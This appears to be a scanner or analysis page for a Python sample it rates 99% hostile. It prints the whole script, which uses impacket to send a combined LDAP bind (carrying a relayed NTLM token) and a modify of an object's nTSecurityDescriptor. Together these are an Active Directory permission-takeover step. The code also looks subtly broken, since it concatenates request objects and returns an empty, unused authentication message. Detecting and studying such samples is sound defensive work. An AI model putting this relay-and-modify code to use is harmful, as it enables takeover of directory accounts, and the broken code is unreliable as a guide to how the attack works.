Hostile 99% python Download

send-variant.py

NTLM LDAP rebind stacks a protected modificationStacked LDAP rebind with takeover attributes
SHA-2560c7c56181767d78adf81b4967f5d13bc913034d448736387947ec99b80d0061f

Evidence

Protects and sends stacked bind/modify buffers lines 1–19
1from impacket import ntlm
2from impacket.ldap.ldap import LDAPConnection
3from impacket.ldap.ldapasn1 import BindRequest, ModifyRequest
4
5
6def relay_frame(conn, token, dn, value):
7 # Minimal regression shape: one protected record holding a bind and a modify.
8 type3 = ntlm.NTLMAuthChallengeResponse()
9 bind_request = BindRequest()
10 bind_request["authentication"]["sasl"]["mechanism"] = "GSS-SPNEGO"
11 bind_request["authentication"]["sasl"]["credentials"] = token
12 modify_request = ModifyRequest()
13 modify_request["object"] = dn
14 modify_request["changes"][0]["modification"]["type"] = "nTSecurityDescriptor"
15 modify_request["changes"][0]["modification"]["vals"].setComponents(value)
16 record = bind_request + modify_request
17 wire = conn.encrypt(record)
18 conn._socket.send(wire)
19 return type3

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.